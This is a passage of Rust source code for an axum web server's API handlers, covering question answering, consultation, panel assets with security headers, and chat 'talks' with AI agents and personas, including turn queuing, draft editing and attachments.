5798 (Some(c), None) => Answer::Choice(c),
5799 (None, Some(t)) => Answer::Text(t),
5800 (Some(_), Some(_)) => {
5801 return Err(ApiError::bad_request(
5802 "send either `choice` or `text`, not both",
5803 ));
5804 }
5805 (None, None) => {
5806 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5807 }
5808 };
5809
5810 blocking(move || {
5811 let id = resolve_question(&ui.questions, &id)?;
5812 let q = ui
5813 .questions
5814 .get(&id)
5815 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5816 if !q.status.open() {
5817 return Err(ApiError::conflict(format!(
5821 "question {} is already {}",
5822 q.short(),
5823 q.status.as_str()
5824 )));
5825 }
5826 let (q, ()) = ui
5830 .questions
5831 .update(&q.id, |r| r.answer(answer))
5832 .map_err(ApiError::bad_request_from)?;
5833 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5834 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5835 Ok(Json(
5836 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5837 ))
5838 })
5839 .await
5840}
5841
5842#[derive(Debug, Deserialize)]
5844#[serde(deny_unknown_fields)]
5845struct NewSay {
5846 body: String,
5847}
5848
5849async fn question_say(
5859 State(ui): State<Arc<Ui>>,
5860 Path(id): Path<String>,
5861 body: std::result::Result<Json<NewSay>, JsonRejection>,
5862) -> ApiResult<Json<QuestionView>> {
5863 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5864 blocking(move || {
5865 let id = resolve_question(&ui.questions, &id)?;
5866 let q = ui
5867 .questions
5868 .get(&id)
5869 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5870 if !q.status.open() {
5871 return Err(ApiError::conflict(format!(
5875 "question {} is already {}",
5876 q.short(),
5877 q.status.as_str()
5878 )));
5879 }
5880 let (q, ()) = ui
5883 .questions
5884 .update(&q.id, |r| r.say(body.body))
5885 .map_err(ApiError::bad_request_from)?;
5886 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5887 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5888 Ok(Json(
5889 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5890 ))
5891 })
5892 .await
5893}
5894
5895async fn question_consult(
5904 State(ui): State<Arc<Ui>>,
5905 Path(id): Path<String>,
5906) -> ApiResult<(StatusCode, Json<QuestionView>)> {
5907 let (view, reclaimed) = blocking({
5908 let ui = Arc::clone(&ui);
5909 move || {
5910 let id = resolve_question(&ui.questions, &id)?;
5911 let q = ui
5912 .questions
5913 .get(&id)
5914 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5915 if !q.status.open() {
5916 return Err(ApiError::conflict(format!(
5917 "question {} is already {}",
5918 q.short(),
5919 q.status.as_str()
5920 )));
5921 }
5922 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5923 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
5924 return Err(ApiError::conflict(format!(
5925 "question {} has no open chat to ask",
5926 q.short()
5927 )));
5928 };
5929 let cfg = if q.consult.is_none() {
5933 Some(Config::discover(&talk.repo, None)?.0)
5934 } else {
5935 None
5936 };
5937 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
5938 let claim = if fresh {
5939 match ui.begin_queued_talk_turn(&talk.id)? {
5940 Some(turn_guard) => {
5941 let talk = ui.talks.get(&talk.id)?;
5942 let cfg = match cfg {
5943 Some(cfg) => cfg,
5944 None => Config::discover(&talk.repo, None)?.0,
5945 };
5946 Some((talk, cfg, turn_guard))
5947 }
5948 None => None,
5949 }
5950 } else {
5951 None
5952 };
5953 let q = ui.questions.get(&q.id)?;
5954 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5955 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
5956 Ok((view, claim))
5957 }
5958 })
5959 .await?;
5960 if let Some((talk, cfg, turn_guard)) = reclaimed {
5961 let talks = ui.talks.clone();
5962 let id = talk.id.clone();
5963 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5964 }
5965 Ok((StatusCode::ACCEPTED, Json(view)))
5966}
5967
5968fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5970 if store.path_of(id).is_file() {
5971 return Ok(id.to_owned());
5972 }
5973 pick(
5974 store.list().into_iter().map(|q| q.id).collect(),
5975 id,
5976 "question",
5977 )
5978}
5979
5980async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5995 blocking(move || {
5996 let id = resolve_question(&ui.questions, &id)?;
5997 let Some(html) = ui.questions.panel_html(&id) else {
5998 return Err(ApiError::not_found(format!("question {id} has no panel")));
5999 };
6000 Ok(panel_response(
6001 "text/html; charset=utf-8",
6002 false,
6003 html.into_bytes(),
6004 ))
6005 })
6006 .await
6007}
6008
6009async fn question_asset(
6037 State(ui): State<Arc<Ui>>,
6038 Path((id, name)): Path<(String, String)>,
6039) -> ApiResult<Response> {
6040 if !crate::ask::valid_asset_name(&name) {
6043 return Err(ApiError::bad_request(format!(
6044 "`{name}` is not a usable asset name"
6045 )));
6046 }
6047 blocking(move || {
6048 let id = resolve_question(&ui.questions, &id)?;
6049 let asset = ui
6050 .questions
6051 .panel_asset(&id, &name)
6052 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6053 let Some(bytes) = asset else {
6054 return Err(ApiError::not_found(format!(
6055 "question {id} has no asset `{name}`"
6056 )));
6057 };
6058 Ok(panel_response(
6059 asset_content_type(&name),
6060 is_svg(&name),
6061 bytes,
6062 ))
6063 })
6064 .await
6065}
6066
6067fn asset_content_type(name: &str) -> &'static str {
6080 match extension(name).as_deref() {
6081 Some("png") => "image/png",
6082 Some("jpg" | "jpeg") => "image/jpeg",
6083 Some("gif") => "image/gif",
6084 Some("webp") => "image/webp",
6085 Some("svg") => "image/svg+xml",
6086 Some("css") => "text/css; charset=utf-8",
6087 Some("txt") => "text/plain; charset=utf-8",
6088 _ => "application/octet-stream",
6089 }
6090}
6091
6092fn is_svg(name: &str) -> bool {
6095 extension(name).as_deref() == Some("svg")
6096}
6097
6098fn extension(name: &str) -> Option<String> {
6100 name.rsplit_once('.')
6101 .map(|(_, ext)| ext.to_ascii_lowercase())
6102}
6103
6104fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6121 let mut res = (
6122 [
6123 (header::CONTENT_TYPE, content_type),
6124 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6125 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6126 (header::REFERRER_POLICY, "no-referrer"),
6127 ],
6128 body,
6129 )
6130 .into_response();
6131 if download {
6132 res.headers_mut().insert(
6133 header::CONTENT_DISPOSITION,
6134 HeaderValue::from_static("attachment"),
6135 );
6136 }
6137 res
6138}
6139
6140#[derive(Debug, Serialize)]
6146struct TalkView {
6147 #[serde(flatten)]
6148 talk: Talk,
6149 turn_bodies_md: Vec<Vec<md::Node>>,
6150 thinking: bool,
6158 context: talk::ContextUsage,
6162 operator_name: Option<String>,
6165 persona_name: Option<String>,
6167}
6168
6169impl TalkView {
6170 fn new(talk: Talk, thinking: bool) -> Self {
6173 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6174 Self::with_config(talk, thinking, cfg.as_ref())
6175 }
6176
6177 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6180 let context = talk::context_usage(&talk, cfg);
6181 let turn_bodies_md = talk
6182 .turns
6183 .iter()
6184 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6185 .collect();
6186 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6187 let persona_name = persona::find(specs, &talk.persona)
6188 .filter(|p| !p.is_default())
6189 .map(|p| p.name);
6190 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6191 Self {
6192 turn_bodies_md,
6193 thinking,
6194 context,
6195 operator_name,
6196 persona_name,
6197 talk,
6198 }
6199 }
6200}
6201
6202#[derive(Debug, Serialize)]
6207struct TalkDetailView {
6208 #[serde(flatten)]
6209 view: TalkView,
6210 tasks: Vec<TaskView>,
6211 roster: Vec<RosterEntry>,
6214 personas: Vec<PersonaEntry>,
6217}
6218
6219#[derive(Debug, Serialize)]
6221struct PersonaEntry {
6222 id: String,
6223 name: String,
6224}
6225
6226#[derive(Debug, Serialize)]
6228struct RosterEntry {
6229 id: String,
6230 kind: AgentKind,
6231 runnable: bool,
6233}
6234
6235async fn talks_list(
6240 State(ui): State<Arc<Ui>>,
6241 Query(q): Query<ListQuery>,
6242) -> ApiResult<Json<Vec<TalkView>>> {
6243 blocking(move || {
6244 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6245 Ok(Json(
6246 ui.talks
6247 .list()
6248 .into_iter()
6249 .filter(|talk| q.contains(&talk.id))
6250 .map(|talk| {
6251 let thinking = ui.is_thinking(&talk.id);
6252 let cfg = configs
6253 .entry(talk.repo.clone())
6254 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6255 TalkView::with_config(talk, thinking, cfg.as_ref())
6256 })
6257 .collect(),
6258 ))
6259 })
6260 .await
6261}
6262
6263#[derive(Debug, Default, Deserialize)]
6268#[serde(default)]
6269struct NewTalk {
6270 agent: Option<String>,
6271 repo: Option<PathBuf>,
6272}
6273
6274async fn talk_post(
6277 State(ui): State<Arc<Ui>>,
6278 body: std::result::Result<Json<NewTalk>, JsonRejection>,
6279) -> ApiResult<impl IntoResponse> {
6280 let body = match body {
6284 Ok(Json(body)) => body,
6285 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6286 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6287 };
6288 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6289 let cfg = config_for(&repo).await?;
6290 let view = blocking(move || {
6291 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
6292 let thinking = ui.is_thinking(&talk.id);
6293 Ok(TalkView::new(talk, thinking))
6294 })
6295 .await?;
6296 Ok((StatusCode::CREATED, Json(view)))
6297}
6298
6299async fn talk_detail(
6301 State(ui): State<Arc<Ui>>,
6302 Path(id): Path<String>,
6303) -> ApiResult<Json<TalkDetailView>> {
6304 blocking(move || {
6305 let id = resolve_talk(&ui.talks, &id)?;
6306 let talk = ui.talks.get(&id)?;
6307 let thinking = ui.is_thinking(&talk.id);
6308 let tasks = talk::tasks_of(&ui.queue, &talk.id)
6309 .into_iter()
6310 .map(TaskView::from)
6311 .collect();
6312 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6313 let roster = cfg
6314 .as_ref()
6315 .map(|cfg| {
6316 cfg.agents
6317 .iter()
6318 .map(|a| RosterEntry {
6319 id: a.id.clone(),
6320 kind: a.kind,
6321 runnable: agent::installed(a),
6322 })
6323 .collect()
6324 })
6325 .unwrap_or_default();
6326 let specs = cfg
6327 .as_ref()
6328 .map(|cfg| cfg.talk.personas.clone())
6329 .unwrap_or_default();
6330 let personas = persona::catalog(&specs)
6331 .into_iter()
6332 .map(|p| PersonaEntry {
6333 id: p.id,
6334 name: p.name,
6335 })
6336 .collect();
6337 Ok(Json(TalkDetailView {
6338 view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6339 tasks,
6340 roster,
6341 personas,
6342 }))
6343 })
6344 .await
6345}
6346
6347#[derive(Debug, Default, Deserialize)]
6353#[serde(default, deny_unknown_fields)]
6354struct NewTalkTurn {
6355 text: String,
6356 attachments: Vec<String>,
6357}
6358
6359#[derive(Debug, Deserialize)]
6360#[serde(deny_unknown_fields)]
6361struct EditTalkPending {
6362 text: String,
6363 expected_text: String,
6364 expected_attachments: Vec<String>,
6365}
6366
6367#[derive(Debug, Deserialize)]
6368#[serde(deny_unknown_fields)]
6369struct ClearTalkPending {
6370 expected_text: String,
6371 expected_attachments: Vec<String>,
6372}
6373
6374async fn talk_say(
6386 State(ui): State<Arc<Ui>>,
6387 Path(id): Path<String>,
6388 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6389) -> ApiResult<(StatusCode, Json<TalkView>)> {
6390 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6391 if body.text.trim().is_empty() && body.attachments.is_empty() {
6392 return Err(ApiError::bad_request("say something"));
6393 }
6394
6395 let id = {
6396 let ui = Arc::clone(&ui);
6397 let asked = id.clone();
6398 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6399 };
6400 {
6404 let ui = Arc::clone(&ui);
6405 let id = id.clone();
6406 blocking(move || {
6407 let talk = ui.talks.get(&id)?;
6408 if !talk.status.open() {
6409 return Err(ApiError::conflict(format!(
6410 "talk {} is {} and takes no more turns",
6411 talk.short(),
6412 talk.status.as_str()
6413 )));
6414 }
6415 Ok(())
6416 })
6417 .await?;
6418 }
6419
6420 let attachments = {
6425 let ui = Arc::clone(&ui);
6426 let id = id.clone();
6427 let ids = body.attachments.clone();
6428 blocking(move || {
6429 ids.into_iter()
6430 .map(|att_id| {
6431 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6432 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6433 })
6434 })
6435 .collect::<ApiResult<Vec<talk::Attachment>>>()
6436 })
6437 .await?
6438 };
6439
6440 let start = {
6445 let ui = Arc::clone(&ui);
6446 let id = id.clone();
6447 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6448 };
6449 let turn_guard = match start {
6450 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6451 TalkTurnStart::Pending => {
6452 return Err(ApiError::conflict(
6453 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6454 ));
6455 }
6456 TalkTurnStart::Foreign => {
6457 return Err(ApiError::conflict(
6458 "a turn is already running in another process; try again when it has finished",
6459 ));
6460 }
6461 TalkTurnStart::Busy => {
6462 let (tx, rx) = tokio::sync::oneshot::channel();
6478 tokio::spawn({
6479 let ui = Arc::clone(&ui);
6480 let id = id.clone();
6481 let said = body.text.clone();
6482 async move {
6483 let written = blocking({
6484 let ui = Arc::clone(&ui);
6485 let id = id.clone();
6486 move || {
6487 let mut talk = ui.talks.get(&id)?;
6488 #[cfg(test)]
6493 if let Some(gate) = ui
6494 .busy_queue_gate
6495 .lock()
6496 .unwrap_or_else(PoisonError::into_inner)
6497 .take()
6498 {
6499 let _ = gate.reached.send(());
6500 let _ = gate.release.recv();
6501 }
6502 if let Err(error) =
6503 talk::queue(&mut talk, &ui.talks, &said, attachments)
6504 {
6505 if let Ok(fresh) = ui.talks.get(&id) {
6506 if !fresh.status.open() {
6507 return Err(ApiError::conflict(format!(
6508 "talk {} is {} and takes no more turns",
6509 fresh.short(),
6510 fresh.status.as_str()
6511 )));
6512 }
6513 }
6514 return Err(ApiError::from(error));
6515 }
6516 let claim = match ui.begin_queued_talk_turn(&id)? {
6527 Some(turn_guard) => {
6528 let (cfg, _) = Config::discover(&talk.repo, None)?;
6529 Some((talk.clone(), cfg, turn_guard))
6530 }
6531 None => None,
6532 };
6533 let thinking = ui.is_thinking(&id);
6534 Ok((TalkView::new(talk, thinking), claim))
6535 }
6536 })
6537 .await;
6538 let (view, reclaimed) = match written {
6539 Ok(pair) => pair,
6540 Err(e) => {
6541 let _ = tx.send(Err(e));
6546 return;
6547 }
6548 };
6549 let _ = tx.send(Ok(view));
6552 if let Some((talk, cfg, turn_guard)) = reclaimed {
6553 let talks = ui.talks.clone();
6554 drain_loop(talk, talks, cfg, id, turn_guard).await;
6555 }
6556 }
6557 });
6558 let view = rx
6559 .await
6560 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6561 return Ok((StatusCode::ACCEPTED, Json(view)));
6562 }
6563 };
6564
6565 let (talk, cfg) = {
6566 let ui = Arc::clone(&ui);
6567 let id = id.clone();
6568 blocking(move || {
6569 let talk = ui.talks.get(&id)?;
6570 let (cfg, _) = Config::discover(&talk.repo, None)?;
6571 Ok((talk, cfg))
6572 })
6573 .await?
6574 };
6575
6576 let talks = ui.talks.clone();
6577 let (tx, rx) = tokio::sync::oneshot::channel();
6592 tokio::spawn({
6593 let ui = Arc::clone(&ui);
6594 let talks = talks.clone();
6595 let id = id.clone();
6596 let said = body.text.clone();
6597 let mut talk = talk.clone();
6598 async move {
6599 let recorded = blocking({
6600 let talks = talks.clone();
6601 move || {
6602 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6603 if let Ok(fresh) = talks.get(&talk.id) {
6604 if !fresh.status.open() {
6605 return Err(ApiError::conflict(format!(
6606 "talk {} is {} and takes no more turns",
6607 fresh.short(),
6608 fresh.status.as_str()
6609 )));
6610 }
6611 }
6612 return Err(ApiError::from(error));
6613 }
6614 Ok((said.trim().to_owned(), talk))
6620 }
6621 })
6622 .await;
6623 let (text, mut talk) = match recorded {
6624 Ok(pair) => pair,
6625 Err(e) => {
6626 let _ = tx.send(Err(e));
6630 return;
6631 }
6632 };
6633 let queued = talk.clone();
6634 let thinking = ui.is_thinking(&id);
6635 let _ = tx.send(Ok((queued, thinking)));
6638
6639 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6640 tracing::warn!("talk {id} turn failed: {e:#}");
6644 }
6645 drain_loop(talk, talks, cfg, id, turn_guard).await;
6648 }
6649 });
6650
6651 let (queued, thinking) = rx
6652 .await
6653 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6654
6655 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6657}
6658
6659async fn talk_pending_resume(
6663 State(ui): State<Arc<Ui>>,
6664 Path(id): Path<String>,
6665) -> ApiResult<(StatusCode, Json<TalkView>)> {
6666 let id = {
6667 let ui = Arc::clone(&ui);
6668 let asked = id.clone();
6669 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6670 };
6671 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6672 return Err(ApiError::conflict(
6673 "a talk turn is already running; the queued draft will be handled by it",
6674 ));
6675 };
6676 let (talk, cfg) = {
6677 let ui = Arc::clone(&ui);
6678 let id = id.clone();
6679 blocking(move || {
6680 let talk = ui.talks.get(&id)?;
6681 if !talk.status.open() {
6682 return Err(ApiError::conflict(format!(
6683 "talk {} is {} and takes no more turns",
6684 talk.short(),
6685 talk.status.as_str()
6686 )));
6687 }
6688 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6689 return Err(ApiError::conflict("there is no queued draft to resume"));
6690 }
6691 let (cfg, _) = Config::discover(&talk.repo, None)?;
6692 Ok((talk, cfg))
6693 })
6694 .await?
6695 };
6696 let view = TalkView::new(talk.clone(), true);
6697 let talks = ui.talks.clone();
6698 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6699 Ok((StatusCode::ACCEPTED, Json(view)))
6700}
6701
6702async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6718 let live_set = Arc::clone(&turn.turns);
6719 let mut turn = Some(turn);
6727 loop {
6728 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
6729 tracing::warn!("talk {id} lost its turn lease; not draining further");
6732 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6733 if let Some(turn) = turn.take() {
6734 turn.release(&mut live);
6735 }
6736 break;
6737 }
6738 {
6739 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6742 if live.parking {
6743 if let Some(turn) = turn.take() {
6744 turn.release(&mut live);
6745 }
6746 break;
6747 }
6748 }
6749 let observed = live_set
6753 .lock()
6754 .unwrap_or_else(PoisonError::into_inner)
6755 .queued
6756 .get(&id)
6757 .copied()
6758 .unwrap_or(0);
6759 let drained = blocking({
6760 let talks = talks.clone();
6761 let live_set = Arc::clone(&live_set);
6762 move || {
6763 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6768 let result = if live.parking {
6769 Ok(None)
6770 } else {
6771 talk::drain(&mut talk, &talks)
6772 };
6773 drop(live);
6774 Ok((talk, result))
6775 }
6776 })
6777 .await;
6778 let (next_talk, result) = match drained {
6779 Ok(drained) => drained,
6780 Err(e) => {
6781 tracing::warn!(
6782 status = %e.status,
6783 message = %e.message,
6784 "talk {id} could not start queued-text drain"
6785 );
6786 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6787 turn.take()
6788 .expect("held for the whole loop until released here")
6789 .release(&mut live);
6790 break;
6791 }
6792 };
6793 talk = next_talk;
6794 let drained = match result {
6795 Ok(Some(drained)) => drained,
6796 Ok(None) => {
6797 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6798 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6799 continue;
6800 }
6801 turn.take()
6802 .expect("held for the whole loop until released here")
6803 .release(&mut live);
6804 break;
6805 }
6806 Err(e) => {
6807 tracing::warn!("talk {id} could not drain queued text: {e:#}");
6808 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6809 turn.take()
6810 .expect("held for the whole loop until released here")
6811 .release(&mut live);
6812 break;
6813 }
6814 };
6815 let responded = match turn.as_ref() {
6816 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
6817 None => Err(anyhow::anyhow!("the turn guard was released")),
6818 };
6819 if let Err(e) = responded {
6820 tracing::warn!("talk {id} turn failed: {e:#}");
6821 }
6822 }
6823}
6824
6825async fn talk_pending_clear(
6827 State(ui): State<Arc<Ui>>,
6828 Path(id): Path<String>,
6829 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6830) -> ApiResult<Json<TalkView>> {
6831 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6832 blocking(move || {
6833 let id = resolve_talk(&ui.talks, &id)?;
6834 let mut talk = ui.talks.get(&id)?;
6835 if !talk.status.open() {
6836 return Err(ApiError::conflict(format!(
6837 "talk {} is {} and takes no more turns",
6838 talk.short(),
6839 talk.status.as_str()
6840 )));
6841 }
6842 if !talk::clear_pending_if_matches(
6843 &mut talk,
6844 &ui.talks,
6845 &body.expected_text,
6846 &body.expected_attachments,
6847 )? {
6848 return Err(ApiError::conflict(
6849 "queued message changed; reload it before clearing",
6850 ));
6851 }
6852 let thinking = ui.is_thinking(&talk.id);
6853 Ok(Json(TalkView::new(talk, thinking)))
6854 })
6855 .await
6856}
6857
6858async fn talk_pending_edit(
6862 State(ui): State<Arc<Ui>>,
6863 Path(id): Path<String>,
6864 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6865) -> ApiResult<Json<TalkView>> {
6866 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6867 let (view, reclaimed) = blocking({
6868 let ui = Arc::clone(&ui);
6869 move || {
6870 let id = resolve_talk(&ui.talks, &id)?;
6871 let mut talk = ui.talks.get(&id)?;
6872 if !talk.status.open() {
6873 return Err(ApiError::conflict(format!(
6874 "talk {} is {} and takes no more turns",
6875 talk.short(),
6876 talk.status.as_str()
6877 )));
6878 }
6879 if !talk::edit_pending_text(
6880 &mut talk,
6881 &ui.talks,
6882 &body.text,
6883 &body.expected_text,
6884 &body.expected_attachments,
6885 )? {
6886 return Err(ApiError::conflict(
6887 "queued message changed; reload it before editing",
6888 ));
6889 }
6890 let claim = match ui.begin_queued_talk_turn(&id)? {
6891 Some(turn_guard) => {
6892 let (cfg, _) = Config::discover(&talk.repo, None)?;
6893 Some((talk.clone(), cfg, id.clone(), turn_guard))
6894 }
6895 None => None,
6896 };
6897 let thinking = ui.is_thinking(&id);
6898 Ok((TalkView::new(talk, thinking), claim))
6899 }
6900 })
6901 .await?;
6902 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6903 let talks = ui.talks.clone();
6904 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6905 }
6906 Ok(Json(view))
6907}
6908
6909#[derive(Debug, Deserialize)]
6911struct TalkAgent {
6912 agent: String,
6913}
6914
6915async fn talk_agent(
6920 State(ui): State<Arc<Ui>>,
6921 Path(id): Path<String>,
6922 Json(body): Json<TalkAgent>,
6923) -> ApiResult<Json<TalkView>> {
6924 let id = {
6925 let ui = Arc::clone(&ui);
6926 blocking(move || resolve_talk(&ui.talks, &id)).await?
6927 };
6928 let repo = {
6929 let ui = Arc::clone(&ui);
6930 let id = id.clone();
6931 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6932 };
6933 let cfg = config_for(&repo).await?;
6934 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6935 return Err(ApiError::conflict(
6936 "a talk turn is running; change the agent once it has answered",
6937 ));
6938 };
6939 let switched = {
6940 let ui = Arc::clone(&ui);
6941 let id = id.clone();
6942 let cfg = cfg.clone();
6943 blocking(move || {
6944 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6945 .map_err(ApiError::bad_request_from)?;
6946 let mut talk = ui.talks.get(&id)?;
6947 if !talk.status.open() {
6948 return Err(ApiError::conflict(format!(
6949 "talk {} is {} and takes no more turns",
6950 talk.short(),
6951 talk.status.as_str()
6952 )));
6953 }
6954 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6955 Ok(talk)
6956 })
6957 .await
6958 };
6959 let fresh = {
6964 let ui = Arc::clone(&ui);
6965 let id = id.clone();
6966 blocking(move || Ok(ui.talks.get(&id)?)).await
6967 };
6968 let draining = match fresh {
6969 Ok(talk) => {
6970 let draining = talk.status.open()
6971 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6972 let talks = ui.talks.clone();
6973 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6974 draining
6975 }
6976 Err(_) => false,
6977 };
6978 let talk = switched?;
6979 Ok(Json(TalkView::new(talk, draining)))
6980}
6981
6982#[derive(Debug, Deserialize)]
6984struct TalkPersona {
6985 persona: String,
6986}
6987
6988async fn talk_persona(
6992 State(ui): State<Arc<Ui>>,
6993 Path(id): Path<String>,
6994 Json(body): Json<TalkPersona>,
6995) -> ApiResult<Json<TalkView>> {
6996 let id = {
6997 let ui = Arc::clone(&ui);
6998 blocking(move || resolve_talk(&ui.talks, &id)).await?
6999 };
7000 let repo = {
7001 let ui = Arc::clone(&ui);
7002 let id = id.clone();
7003 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7004 };
7005 let cfg = config_for(&repo).await?;
7006 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7007 return Err(ApiError::conflict(
7008 "a talk turn is running; change the persona once it has answered",
7009 ));
7010 };
7011 let switched = {
7012 let ui = Arc::clone(&ui);
7013 let id = id.clone();
7014 let cfg = cfg.clone();
7015 blocking(move || {
7016 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7017 return Err(ApiError::bad_request(format!(
7018 "unknown persona `{}`",
7019 body.persona
7020 )));
7021 };
7022 let mut talk = ui.talks.get(&id)?;
7023 if !talk.status.open() {
7024 return Err(ApiError::conflict(format!(
7025 "talk {} is {} and takes no more turns",
7026 talk.short(),
7027 talk.status.as_str()
7028 )));
7029 }
7030 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
7031 Ok(talk)
7032 })
7033 .await
7034 };
7035 let fresh = {
7037 let ui = Arc::clone(&ui);
7038 let id = id.clone();
7039 blocking(move || Ok(ui.talks.get(&id)?)).await
7040 };
7041 let draining = match fresh {
7042 Ok(talk) => {
7043 let draining = talk.status.open()
7044 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7045 let talks = ui.talks.clone();
7046 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7047 draining
7048 }
7049 Err(_) => false,
7050 };
7051 let talk = switched?;
7052 Ok(Json(TalkView::new(talk, draining)))
7053}
7054
7055async fn talk_close(
7057 State(ui): State<Arc<Ui>>,
7058 Path(id): Path<String>,
7059) -> ApiResult<Json<TalkView>> {
7060 blocking(move || {
7061 let id = resolve_talk(&ui.talks, &id)?;
7062 let mut talk = ui.talks.get(&id)?;
7063 talk::close(&mut talk, &ui.talks)?;
7064 let thinking = ui.is_thinking(&talk.id);
7065 Ok(Json(TalkView::new(talk, thinking)))
7066 })
7067 .await
7068}
7069
7070async fn talk_reopen(
7072 State(ui): State<Arc<Ui>>,
7073 Path(id): Path<String>,
7074) -> ApiResult<Json<TalkView>> {
7075 blocking(move || {
7076 let id = resolve_talk(&ui.talks, &id)?;
7077 let mut talk = ui.talks.get(&id)?;
7078 talk::reopen(&mut talk, &ui.talks)?;
7079 let thinking = ui.is_thinking(&talk.id);
7080 Ok(Json(TalkView::new(talk, thinking)))
7081 })
7082 .await
7083}
7084
7085async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7095 blocking(move || {
7096 let id = resolve_talk(&ui.talks, &id)?;
7097 ui.talks.remove(&id)?;
7098 Ok(StatusCode::NO_CONTENT)
7099 })
7100 .await
7101}
7102
7103fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
7105 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
7106}
7107
7108async fn talk_attachment_post(
7111 State(ui): State<Arc<Ui>>,
7112 Path(id): Path<String>,
7113 headers: HeaderMap,
7114 body: Bytes,
7115) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
7116 let mime = validate_attachment(&headers, &body)?;
7117 let name = filename_header(&headers);
7118 let data = body.to_vec();
7119 blocking(move || {
7120 let id = resolve_talk(&ui.talks, &id)?;
7121 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
7122 Ok((StatusCode::CREATED, Json(att)))
7123 })
7124 .await
7125}
7126
7127async fn talk_attachment_get(
